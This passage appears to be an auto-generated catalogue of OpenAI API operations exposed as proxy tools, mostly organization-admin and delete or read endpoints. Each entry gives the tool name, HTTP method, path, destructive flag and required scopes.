/api/v1/openai/organization/admin_api_keys/{key_id}. Scopes: admin_write. openai_delete_organization_certificates_by_certificate_id (write, destructive) — Delete a certificate from the organization. The certificate must be inactive for the organization and all projects. via DELETE /organization/certificates/{certificate_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. DELETE /api/v1/openai/organization/certificates/{certificate_id}. Scopes: admin_write. openai_delete_organization_groups_by_group_id (write, destructive) — Deletes a group from the organization. via DELETE /organization/groups/{group_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. DELETE /api/v1/openai/organization/groups/{group_id}. Scopes: admin_write. openai_delete_organization_groups_by_group_id_roles_by_role_id (write, destructive) — Unassigns an organization role from a group within the organization. via DELETE /organization/groups/{group_id}/roles/{role_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. DELETE /api/v1/openai/organization/groups/{group_id}/roles/{role_id}. Scopes: admin_write. openai_delete_organization_groups_by_group_id_users_by_user_id (write, destructive) — Removes a user from a group. via DELETE /organization/groups/{group_id}/users/{user_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. DELETE /api/v1/openai/organization/groups/{group_id}/users/{user_id}. Scopes: admin_write. openai_delete_organization_invites_by_invite_id (write, destructive) — Delete an invite. If the invite has already been accepted, it cannot be deleted. via DELETE /organization/invites/{invite_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. DELETE /api/v1/openai/organization/invites/{invite_id}. Scopes: admin_write. openai_delete_organization_projects_by_project_id_api_keys_by_api_key_id (write, destructive) — Deletes an API key from the project. Returns confirmation of the key deletion, or an error if the key belonged to a service account. via DELETE /organization/projects/{project_id}/api_keys/{api_key_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. DELETE /api/v1/openai/organization/projects/{project_id}/api_keys/{api_key_id}. Scopes: admin_write. openai_delete_organization_projects_by_project_id_groups_by_group_id (write, destructive) — Revokes a group's access to a project. via DELETE /organization/projects/{project_id}/groups/{group_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. DELETE /api/v1/openai/organization/projects/{project_id}/groups/{group_id}. Scopes: admin_write. openai_delete_organization_projects_by_project_id_model_permissions (write, destructive) — Deletes model permissions for a project. via DELETE /organization/projects/{project_id}/model_permissions Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. DELETE /api/v1/openai/organization/projects/{project_id}/model_permissions. Scopes: admin_write. openai_delete_organization_projects_by_project_id_service_accounts_by_service_account_id (write, destructive) — Deletes a service account from the project. Returns confirmation of service account deletion, or an error if the project is archived (archived projects have no service accounts). via DELETE /organization/projects/{project_id}/service_accounts/{service_account_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. DELETE /api/v1/openai/organization/projects/{project_id}/service_accounts/{service_account_id}. Scopes: admin_write. openai_delete_organization_projects_by_project_id_spend_alerts_by_alert_id (write, destructive) — Deletes a project spend alert. via DELETE /organization/projects/{project_id}/spend_alerts/{alert_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. DELETE /api/v1/openai/organization/projects/{project_id}/spend_alerts/{alert_id}. Scopes: admin_write. openai_delete_organization_projects_by_project_id_spend_limit (write, destructive) — Delete a project's hard spend limit. via DELETE /organization/projects/{project_id}/spend_limit Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. DELETE /api/v1/openai/organization/projects/{project_id}/spend_limit. Scopes: admin_write. openai_delete_organization_projects_by_project_id_users_by_user_id (write, destructive) — Deletes a user from the project. Returns confirmation of project user deletion, or an error if the project is archived (archived projects have no users). via DELETE /organization/projects/{project_id}/users/{user_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. DELETE /api/v1/openai/organization/projects/{project_id}/users/{user_id}. Scopes: admin_write. openai_delete_organization_roles_by_role_id (write, destructive) — Deletes a custom role from the organization. via DELETE /organization/roles/{role_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. DELETE /api/v1/openai/organization/roles/{role_id}. Scopes: admin_write. openai_delete_organization_spend_alerts_by_alert_id (write, destructive) — Deletes an organization spend alert. via DELETE /organization/spend_alerts/{alert_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. DELETE /api/v1/openai/organization/spend_alerts/{alert_id}. Scopes: admin_write. openai_delete_organization_spend_limit (write, destructive) — Delete the organization's hard spend limit. via DELETE /organization/spend_limit Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. DELETE /api/v1/openai/organization/spend_limit. Scopes: admin_write. openai_delete_organization_users_by_user_id (write, destructive) — Deletes a user from the organization. via DELETE /organization/users/{user_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. DELETE /api/v1/openai/organization/users/{user_id}. Scopes: admin_write. openai_delete_organization_users_by_user_id_roles_by_role_id (write, destructive) — Unassigns an organization role from a user within the organization. via DELETE /organization/users/{user_id}/roles/{role_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. DELETE /api/v1/openai/organization/users/{user_id}/roles/{role_id}. Scopes: admin_write. openai_delete_projects_by_project_id_groups_by_group_id_roles_by_role_id (write, destructive) — Unassigns a project role from a group within a project. via DELETE /projects/{project_id}/groups/{group_id}/roles/{role_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. DELETE /api/v1/openai/projects/{project_id}/groups/{group_id}/roles/{role_id}. Scopes: admin_write. openai_delete_projects_by_project_id_roles_by_role_id (write, destructive) — Deletes a custom role from a project. via DELETE /projects/{project_id}/roles/{role_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. DELETE /api/v1/openai/projects/{project_id}/roles/{role_id}. Scopes: admin_write. openai_delete_projects_by_project_id_users_by_user_id_roles_by_role_id (write, destructive) — Unassigns a project role from a user within a project. via DELETE /projects/{project_id}/users/{user_id}/roles/{role_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. DELETE /api/v1/openai/projects/{project_id}/users/{user_id}/roles/{role_id}. Scopes: admin_write. openai_delete_responses_by_response_id (write, destructive) — Deletes a model response with the given ID. via DELETE /responses/{response_id} DELETE /api/v1/openai/responses/{response_id}. Scopes: write. openai_delete_skills_by_skill_id (write, destructive) — Delete a skill by its ID. via DELETE /skills/{skill_id} DELETE /api/v1/openai/skills/{skill_id}. Scopes: write. openai_delete_skills_by_skill_id_versions_by_version (write, destructive) — Delete a skill version. via DELETE /skills/{skill_id}/versions/{version} DELETE /api/v1/openai/skills/{skill_id}/versions/{version}. Scopes: write. openai_delete_threads_by_thread_id (write, destructive) — Delete a thread. via DELETE /threads/{thread_id} DELETE /api/v1/openai/threads/{thread_id}. Scopes: write. openai_delete_threads_by_thread_id_messages_by_message_id (write, destructive) — Deletes a message. via DELETE /threads/{thread_id}/messages/{message_id} DELETE /api/v1/openai/threads/{thread_id}/messages/{message_id}. Scopes: write. openai_delete_vector_stores_by_vector_store_id (write, destructive) — Delete a vector store. via DELETE /vector_stores/{vector_store_id} DELETE /api/v1/openai/vector_stores/{vector_store_id}. Scopes: write. openai_delete_vector_stores_by_vector_store_id_files_by_file_id (write, destructive) — Delete a vector store file. This will remove the file from the vector store but the file itself will not be deleted. To delete the file, use the [delete file](/docs/api-reference/files/delete) endpoint. via DELETE /vector_stores/{vector_store_id}/files/{file_id} DELETE /api/v1/openai/vector_stores/{vector_store_id}/files/{file_id}. Scopes: write. openai_delete_videos_by_video_id (write, destructive) — Permanently delete a completed or failed video and its stored assets. via DELETE /videos/{video_id} OpenAI marks this operation deprecated. DELETE /api/v1/openai/videos/{video_id}. Scopes: write. openai_get_assistants (read) — Returns a list of assistants. via GET /assistants OpenAI marks this operation deprecated. GET /api/v1/openai/assistants. Scopes: read. openai_get_assistants_by_assistant_id (read) — Retrieves an assistant. via GET /assistants/{assistant_id} OpenAI marks this operation deprecated. GET /api/v1/openai/assistants/{assistant_id}. Scopes: read. openai_get_audio_voice_consents (read) — Returns a list of voice consent recordings. List consent recordings available to your organization for creating custom voices. See the [custom voices guide](/docs/guides/text-to-speech#custom-voices). Custom voices are limited to eligible customers. via GET /audio/voice_consents GET /api/v1/openai/audio/voice_consents. Scopes: read. openai_get_audio_voice_consents_by_consent_id (read) — Retrieves a voice consent recording. Retrieve consent recording metadata used for creating custom voices. See the [custom voices guide](/docs/guides/text-to-speech#custom-voices). Custom voices are limited to eligible customers. via GET /audio/voice_consents/{consent_id} GET /api/v1/openai/audio/voice_consents/{consent_id}. Scopes: read. openai_get_batches (read) — List your organization's batches. via GET /batches GET /api/v1/openai/batches. Scopes: read. openai_get_batches_by_batch_id (read) — Retrieves a batch. via GET /batches/{batch_id} GET /api/v1/openai/batches/{batch_id}. Scopes: read. openai_get_chat_completions (read) — List stored Chat Completions. Only Chat Completions that have been stored with the `store` parameter set to `true` will be returned. via GET /chat/completions GET /api/v1/openai/chat/completions. Scopes: read. openai_get_chat_completions_by_completion_id (read) — Get a stored chat completion. Only Chat Completions that have been created with the `store` parameter set to `true` will be returned. via GET /chat/completions/{completion_id} GET /api/v1/openai/chat/completions/{completion_id}. Scopes: read. openai_get_chat_completions_by_completion_id_messages (read) — Get the messages in a stored chat completion. Only Chat Completions that have been created with the `store` parameter set to `true` will be returned. via GET /chat/completions/{completion_id}/messages GET /api/v1/openai/chat/completions/{completion_id}/messages. Scopes: read. openai_get_chatkit_threads (read) — List ChatKit threads with optional pagination and user filters. via GET /chatkit/threads GET /api/v1/openai/chatkit/threads. Scopes: read. openai_get_chatkit_threads_by_thread_id (read) — Retrieve a ChatKit thread by its identifier. via GET /chatkit/threads/{thread_id} GET /api/v1/openai/chatkit/threads/{thread_id}. Scopes: read. openai_get_chatkit_threads_by_thread_id_items (read) — List items that belong to a ChatKit thread. via GET /chatkit/threads/{thread_id}/items GET /api/v1/openai/chatkit/threads/{thread_id}/items. Scopes: read. openai_get_containers (read) — List Containers Lists containers. via GET /containers GET /api/v1/openai/containers. Scopes: read. openai_get_containers_by_container_id (read) — Retrieve Container Retrieves a container. via GET /containers/{container_id} GET /api/v1/openai/containers/{container_id}. Scopes: read. openai_get_containers_by_container_id_files (read) — List Container files Lists container files. via GET /containers/{container_id}/files GET /api/v1/openai/containers/{container_id}/files. Scopes: read. openai_get_containers_by_container_id_files_by_file_id (read) — Retrieve Container File Retrieves a container file. via GET /containers/{container_id}/files/{file_id} GET /api/v1/openai/containers/{container_id}/files/{file_id}. Scopes: read. openai_get_conversations_by_conversation_id (read) — Get a conversation via GET /conversations/{conversation_id} GET /api/v1/openai/conversations/{conversation_id}. Scopes: read. openai_get_conversations_by_conversation_id_items (read) — List all items for a conversation with the given ID. via GET /conversations/{conversation_id}/items GET /api/v1/openai/conversations/{conversation_id}/items. Scopes: read. openai_get_conversations_by_conversation_id_items_by_item_id (read) — Get a single item from a conversation with the given IDs. via GET /conversations/{conversation_id}/items/{item_id} GET /api/v1/openai/conversations/{conversation_id}/items/{item_id}. Scopes: read. openai_get_evals (read) — List evaluations for a project. via GET /evals GET /api/v1/openai/evals. Scopes: read. openai_get_evals_by_eval_id (read) — Get an evaluation by ID. via GET /evals/{eval_id} GET /api/v1/openai/evals/{eval_id}. Scopes: read. openai_get_evals_by_eval_id_runs (read) — Get a list of runs for an evaluation. via GET /evals/{eval_id}/runs GET /api/v1/openai/evals/{eval_id}/runs. Scopes: read. openai_get_evals_by_eval_id_runs_by_run_id (read) — Get an evaluation run by ID. via GET /evals/{eval_id}/runs/{run_id} GET /api/v1/openai/evals/{eval_id}/runs/{run_id}. Scopes: read. openai_get_evals_by_eval_id_runs_by_run_id_output_items (read) — Get a list of output items for an evaluation run. via GET /evals/{eval_id}/runs/{run_id}/output_items GET /api/v1/openai/evals/{eval_id}/runs/{run_id}/output_items. Scopes: read. openai_get_evals_by_eval_id_runs_by_run_id_output_items_by_output_item_id (read) — Get an evaluation run output item by ID. via GET /evals/{eval_id}/runs/{run_id}/output_items/{output_item_id} GET /api/v1/openai/evals/{eval_id}/runs/{run_id}/output_items/{output_item_id}. Scopes: read. openai_get_files (read) — Returns a list of files. via GET /files GET /api/v1/openai/files. Scopes: read. openai_get_files_by_file_id (read) — Returns information about a specific file. via GET /files/{file_id} GET /api/v1/openai/files/{file_id}. Scopes: read. openai_get_files_by_file_id_content (read) — Returns a response containing the contents of the specified file. via GET /files/{file_id}/content GET /api/v1/openai/files/{file_id}/content. Scopes: read. openai_get_fine_tuning_checkpoints_by_fine_tuned_model_checkpoint_permissions (read) — **NOTE:** This endpoint requires an [admin API key](../admin-api-keys). Organization owners can use this endpoint to view all permissions for a fine-tuned model checkpoint. via GET /fine_tuning/checkpoints/{fine_tuned_model_checkpoint}/permissions GET /api/v1/openai/fine_tuning/checkpoints/{fine_tuned_model_checkpoint}/permissions. Scopes: read. openai_get_fine_tuning_jobs (read) — List your organization's fine-tuning jobs via GET /fine_tuning/jobs GET /api/v1/openai/fine_tuning/jobs. Scopes: read. openai_get_fine_tuning_jobs_by_fine_tuning_job_id (read) — Get info about a fine-tuning job. [Learn more about fine-tuning](/docs/guides/model-optimization) via GET /fine_tuning/jobs/{fine_tuning_job_id} GET /api/v1/openai/fine_tuning/jobs/{fine_tuning_job_id}. Scopes: read. openai_get_fine_tuning_jobs_by_fine_tuning_job_id_checkpoints (read) — List checkpoints for a fine-tuning job. via GET /fine_tuning/jobs/{fine_tuning_job_id}/checkpoints GET /api/v1/openai/fine_tuning/jobs/{fine_tuning_job_id}/checkpoints. Scopes: read. openai_get_fine_tuning_jobs_by_fine_tuning_job_id_events (read) — Get status updates for a fine-tuning job. via GET /fine_tuning/jobs/{fine_tuning_job_id}/events GET /api/v1/openai/fine_tuning/jobs/{fine_tuning_job_id}/events. Scopes: read. openai_get_models (read) — Lists the currently available models, and provides basic information about each one such as the owner and availability. via GET /models GET /api/v1/openai/models. Scopes: read. openai_get_models_by_model (read) — Retrieves a model instance, providing basic information about the model such as the owner and permissioning. via GET /models/{model} GET /api/v1/openai/models/{model}. Scopes: read. openai_get_organization_admin_api_keys (read) — List organization API keys Retrieve a paginated list of organization admin API keys. via GET /organization/admin_api_keys Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/admin_api_keys. Scopes: admin_read. openai_get_organization_admin_api_keys_by_key_id (read) — Retrieve a single organization API key Get details for a specific organization API key by its ID. via GET /organization/admin_api_keys/{key_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/admin_api_keys/{key_id}. Scopes: admin_read. openai_get_organization_audit_logs (read) — List user actions and configuration changes within this organization. via GET /organization/audit_logs Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/audit_logs. Scopes: admin_read. openai_get_organization_certificates (read) — List uploaded certificates for this organization. via GET /organization/certificates Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/certificates. Scopes: admin_read. openai_get_organization_certificates_by_certificate_id (read) — Get a certificate that has been uploaded to the organization. You can get a certificate regardless of whether it is active or not. via GET /organization/certificates/{certificate_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/certificates/{certificate_id}. Scopes: admin_read. openai_get_organization_costs (read) — Get costs details for the organization. via GET /organization/costs Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/costs. Scopes: admin_read. openai_get_organization_data_retention (read) — Retrieves organization data retention controls. via GET /organization/data_retention Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/data_retention. Scopes: admin_read. openai_get_organization_groups (read) — Lists all groups in the organization. via GET /organization/groups Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/groups. Scopes: admin_read. openai_get_organization_groups_by_group_id (read) — Retrieves a group. via GET /organization/groups/{group_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/groups/{group_id}. Scopes: admin_read. openai_get_organization_groups_by_group_id_roles (read) — Lists the organization roles assigned to a group within the organization. via GET /organization/groups/{group_id}/roles Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/groups/{group_id}/roles. Scopes: admin_read. openai_get_organization_groups_by_group_id_roles_by_role_id (read) — Retrieves an organization role assigned to a group. via GET /organization/groups/{group_id}/roles/{role_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/groups/{group_id}/roles/{role_id}. Scopes: admin_read. openai_get_organization_groups_by_group_id_users (read) — Lists the users assigned to a group. via GET /organization/groups/{group_id}/users Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/groups/{group_id}/users. Scopes: admin_read. openai_get_organization_groups_by_group_id_users_by_user_id (read) — Retrieves a user in a group. via GET /organization/groups/{group_id}/users/{user_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/groups/{group_id}/users/{user_id}. Scopes: admin_read. openai_get_organization_invites (read) — Returns a list of invites in the organization. via GET /organization/invites Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/invites. Scopes: admin_read. openai_get_organization_invites_by_invite_id (read) — Retrieves an invite. via GET /organization/invites/{invite_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/invites/{invite_id}. Scopes: admin_read. openai_get_organization_projects (read) — Returns a list of projects. via GET /organization/projects Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/projects. Scopes: admin_read. openai_get_organization_projects_by_project_id (read) — Retrieves a project. via GET /organization/projects/{project_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/projects/{project_id}. Scopes: admin_read. openai_get_organization_projects_by_project_id_api_keys (read) — Returns a list of API keys in the project. via GET /organization/projects/{project_id}/api_keys Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/projects/{project_id}/api_keys. Scopes: admin_read. openai_get_organization_projects_by_project_id_api_keys_by_api_key_id (read) — Retrieves an API key in the project. via GET /organization/projects/{project_id}/api_keys/{api_key_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/projects/{project_id}/api_keys/{api_key_id}. Scopes: admin_read. openai_get_organization_projects_by_project_id_certificates (read) — List certificates for this project. via GET /organization/projects/{project_id}/certificates Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/projects/{project_id}/certificates. Scopes: admin_read. openai_get_organization_projects_by_project_id_data_retention (read) — Retrieves project data retention controls. via GET /organization/projects/{project_id}/data_retention Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/projects/{project_id}/data_retention. Scopes: admin_read. openai_get_organization_projects_by_project_id_groups (read) — Lists the groups that have access to a project. via GET /organization/projects/{project_id}/groups Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/projects/{project_id}/groups. Scopes: admin_read. openai_get_organization_projects_by_project_id_groups_by_group_id (read) — Retrieves a project's group. via GET /organization/projects/{project_id}/groups/{group_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/projects/{project_id}/groups/{group_id}. Scopes: admin_read. openai_get_organization_projects_by_project_id_hosted_tool_permissions (read) — Returns hosted tool permissions for a project. via GET /organization/projects/{project_id}/hosted_tool_permissions Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/projects/{project_id}/hosted_tool_permissions. Scopes: admin_read. openai_get_organization_projects_by_project_id_model_permissions (read) — Returns model permissions for a project. via GET /organization/projects/{project_id}/model_permissions Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/projects/{project_id}/model_permissions. Scopes: admin_read. openai_get_organization_projects_by_project_id_rate_limits (read) — Returns the rate limits per model for a project. via GET /organization/projects/{project_id}/rate_limits Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/projects/{project_id}/rate_limits. Scopes: admin_read. openai_get_organization_projects_by_project_id_service_accounts (read) — Returns a list of service accounts in the project. via GET /organization/projects/{project_id}/service_accounts Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/projects/{project_id}/service_accounts. Scopes: admin_read. openai_get_organization_projects_by_project_id_service_accounts_by_service_account_id (read) — Retrieves a service account in the project. via GET /organization/projects/{project_id}/service_accounts/{service_account_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/projects/{project_id}/service_accounts/{service_account_id}. Scopes: admin_read. openai_get_organization_projects_by_project_id_spend_alerts (read) — Lists project spend alerts. via GET /organization/projects/{project_id}/spend_alerts Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/projects/{project_id}/spend_alerts. Scopes: admin_read. openai_get_organization_projects_by_project_id_spend_alerts_by_alert_id (read) — Retrieves a project spend alert. via GET /organization/projects/{project_id}/spend_alerts/{alert_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/projects/{project_id}/spend_alerts/{alert_id}. Scopes: admin_read. openai_get_organization_projects_by_project_id_spend_limit (read) — Get a project's hard spend limit. via GET /organization/projects/{project_id}/spend_limit Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/projects/{project_id}/spend_limit. Scopes: admin_read. openai_get_organization_projects_by_project_id_users (read) — Returns a list of users in the project. via GET /organization/projects/{project_id}/users Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/projects/{project_id}/users. Scopes: admin_read. openai_get_organization_projects_by_project_id_users_by_user_id (read) — Retrieves a user in the project. via GET /organization/projects/{project_id}/users/{user_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/projects/{project_id}/users/{user_id}. Scopes: admin_read. openai_get_organization_roles (read) — Lists the roles configured for the organization. via GET /organization/roles Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/roles. Scopes: admin_read. openai_get_organization_roles_by_role_id (read) — Retrieves an organization role. via GET /organization/roles/{role_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/roles/{role_id}. Scopes: admin_read. openai_get_organization_spend_alerts (read) — Lists organization spend alerts. via GET /organization/spend_alerts Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/spend_alerts. Scopes: admin_read. openai_get_organization_spend_alerts_by_alert_id (read) — Retrieves an organization spend alert. via GET /organization/spend_alerts/{alert_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/spend_alerts/{alert_id}. Scopes: admin_read. openai_get_organization_spend_limit (read) — Get the organization's hard spend limit. via GET /organization/spend_limit Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/spend_limit. Scopes: admin_read. openai_get_organization_usage_audio_speeches (read) — Get audio speeches usage details for the organization. via GET /organization/usage/audio_speeches Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/usage/audio_speeches. Scopes: admin_read. openai_get_organization_usage_audio_transcriptions (read) — Get audio transcriptions usage details for the organization. via GET /organization/usage/audio_transcriptions Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/usage/audio_transcriptions. Scopes: admin_read. openai_get_organization_usage_code_interpreter_sessions (read) — Get code interpreter sessions usage details for the organization. via GET /organization/usage/code_interpreter_sessions Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/usage/code_interpreter_sessions. Scopes: admin_read. openai_get_organization_usage_completions (read) — Get completions usage details for the organization. via GET /organization/usage/completions Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/usage/completions. Scopes: admin_read. openai_get_organization_usage_embeddings (read) — Get embeddings usage details for the organization. via GET /organization/usage/embeddings Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/usage/embeddings. Scopes: admin_read. openai_get_organization_usage_file_search_calls (read) — Get file search calls usage details for the organization. via GET /organization/usage/file_search_calls Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/usage/file_search_calls. Scopes: admin_read. openai_get_organization_usage_images (read) — Get images usage details for the organization. via GET /organization/usage/images Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/usage/images. Scopes: admin_read. openai_get_organization_usage_moderations (read) — Get moderations usage details for the organization. via GET /organization/usage/moderations Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/usage/moderations. Scopes: admin_read. openai_get_organization_usage_vector_stores (read) — Get vector stores usage details for the organization. via GET /organization/usage/vector_stores Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/usage/vector_stores. Scopes: admin_read. openai_get_organization_usage_web_search_calls (read) — Get web search calls usage details for the organization. via GET /organization/usage/web_search_calls Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/usage/web_search_calls. Scopes: admin_read. openai_get_organization_users (read) — Lists all of the users in the organization. via GET /organization/users Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/users. Scopes: admin_read. openai_get_organization_users_by_user_id (read) — Retrieves a user by their identifier. via GET /organization/users/{user_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/users/{user_id}. Scopes: admin_read. openai_get_organization_users_by_user_id_roles (read) — Lists the organization roles assigned to a user within the organization. via GET /organization/users/{user_id}/roles Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/users/{user_id}/roles. Scopes: admin_read. openai_get_organization_users_by_user_id_roles_by_role_id (read) — Retrieves an organization role assigned to a user. via GET /organization/users/{user_id}/roles/{role_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/organization/users/{user_id}/roles/{role_id}. Scopes: admin_read. openai_get_projects_by_project_id_groups_by_group_id_roles (read) — Lists the project roles assigned to a group within a project. via GET /projects/{project_id}/groups/{group_id}/roles Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/projects/{project_id}/groups/{group_id}/roles. Scopes: admin_read. openai_get_projects_by_project_id_groups_by_group_id_roles_by_role_id (read) — Retrieves a project role assigned to a group. via GET /projects/{project_id}/groups/{group_id}/roles/{role_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/projects/{project_id}/groups/{group_id}/roles/{role_id}. Scopes: admin_read. openai_get_projects_by_project_id_roles (read) — Lists the roles configured for a project. via GET /projects/{project_id}/roles Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/projects/{project_id}/roles. Scopes: admin_read. openai_get_projects_by_project_id_roles_by_role_id (read) — Retrieves a project role. via GET /projects/{project_id}/roles/{role_id} Requires an ORGANIZATION ADMIN API key (Organization settings > Admin keys); an ordinary project API key answers 403 here. GET /api/v1/openai/projects/{project_id}/roles/{role_id}. Scopes: admin_read. openai_get_projects_by_project_id_users_by_user_id_roles (read) — Lists the project roles assigned to a user within a project. via GET 